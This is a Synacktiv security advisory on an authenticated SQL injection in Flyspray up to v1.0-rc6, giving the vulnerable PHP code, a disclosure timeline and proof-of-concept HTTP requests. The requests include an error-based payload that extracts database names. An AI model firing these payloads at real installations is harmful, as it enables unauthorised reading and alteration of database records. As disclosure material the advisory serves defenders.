SQL injection in Flyspray <= v1.0-rc6

Security advisory

28 Jun. 2018

Bastien Faure
Thomas Chauchefoin

Vulnerability description

Presentation of *Flyspray*

"Flyspray is a lightweight, web-based bug tracking system written in PHP for assisting with software development and project managements. Originally developed for the Psi Jabber client project it has been made available to everyone under the LGPL 2.1 licence. Flyspray aims to cut out the unnecessary complexity of other bug trackers focusing on a very intuitive design making it very easy to effectively manage projects."[1]

The issue

Synacktiv discovered that *Flyspray* is not correctly sanitizing user-controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and access sensitive database records.

It should be noted that the attacker must have administration privileges on the application (*is_admin* privilege) to reach the affected code path.

Affected versions

All the versions of *Flyspray* between *v1.0-beta* and *v1.0-rc6* (included) are known to be affected. The vulnerability was introduced on November 2012[2].

Timeline

Date	Action
18 Apr. 2018	Advisory sent to *Flyspray* maintainers.
21 Apr. 2018	Vulnerability silently fixed by *Flyspray* maintainers in commit `85fb5f0`[3].
28 Jun. 2018	Public disclosure.

1 https://www.flyspray.org/

2 https://github.com/Flyspray/flyspray/commit/67c0b76e2a03f6c113437490078de98ba014cc48

3 https://github.com/Flyspray/flyspray/commit/85fb5f0d78e9feb361c9462ec30e71ce4232f3f3

Technical description and proof-of-concept

Initial vulnerability discovery

The action *admin.editallusers* (in *modify.inc.php,* line 1162) is responsible of enabling, disabling and deleting user accounts. When the form is submitted, a multipart POST request is sent with an array of users to process and the status to apply (*enable, disable* or *delete*):

```
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="action"

admin.editallusers
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="do"

admin
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="area"

editallusers
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="checkedUsers[]"

1 # first checked user id
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="checkedUsers[]"

2 # second checked user id
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="enable" # status to apply
```

This function then builds an UPDATE SQL query with the submitted user identifiers, without performing a proper sanitization:

```
$users = Post::val('checkedUsers');

if (count($users) == 0)
{
    Flyspray::show_error(L('nouserselected'));
    break;
}

// Make array of users to modify
$ids = "(" . $users[0];
for ($i = 1 ; $i < count($users) ; $i++)
{
    $ids .= ", " . $users[$i];
}
$ids .= ")";
// Grab the action
if (isset($_POST['enable']))
{
    $sql = $db->Query("UPDATE {users} SET account_enabled = 1 WHERE user_id IN $ids");
    [...]
    $sql = $db->Query("UPDATE {users} SET account_enabled = 0 WHERE user_id IN $ids");
    [...]
    $sql = $db->Query("DELETE FROM {users} WHERE user_id IN $ids");
```

Proof of concept

On any *Flyspray* instance, while authenticated as administrator, an attacker can trigger this vulnerability by inserting his payload in the *checkedUsers* parameter:

```
POST /flyspray/index.php?do=admin&area=editallusers HTTP/1.1
[...]

-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="csrftoken"

968138058
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="action"

admin.editallusers
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="do"

admin
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="area"

editallusers
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="checkedUsers[]"

2’
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="enable"


-----------------------------89229157514941919761763409614--
```

The quote will not be sanitized and will break the query’s syntax:

```
HTTP/1.1 200 OK
[...]

Query {UPDATE `flyspray_users` SET account_enabled = 1 WHERE user_id IN (2&#039;)} with
params {} Failed! (You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near &#039;&#039;)&#039; at line
1)
```

Since databases errors are thrown by default, it is possible to leverage this behavior to perform error-based extractions. The following payload shows how to retrieve a database name:

```
POST /flyspray/index.php?do=admin&area=editallusers HTTP/1.1
[...]

-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="csrftoken"

968138058
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="action"
```

```
admin.editallusers
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="do"

admin
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="area"

editallusers
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="checkedUsers[]"

2) AND (SELECT 2779 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT
MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT
3,1),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
(7067=7067
-----------------------------89229157514941919761763409614
Content-Disposition: form-data; name="enable"


-----------------------------89229157514941919761763409614--
```

```
HTTP/1.1 200 OK
[…]

Query {UPDATE `flyspray_users` SET account_enabled = 1 WHERE user_id IN (2) AND (SELECT
2779 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT MID((IFNULL(CAST(schema_name AS
CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT
1,1),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
(7067=7067)} with params {} Failed! (Duplicate entry &#039;qpzjqflysprayqjjxq1&#039; for
key &#039;group_key&#039;)
```

Impact

A successful exploitation could allow an attacker authenticated with administrator privileges to read and alter records in the *flyspray* database. Depending on the DBMS' permission scheme, other databases may also be accessed.

It should be noted that the *Flyspray* installation manual recommends the creation of a dedicated user that has limited rights on the DBMS, especially regarding FILE privileges. Thus, filesystem access using this vulnerability will heavily depend on how strictly these steps were followed.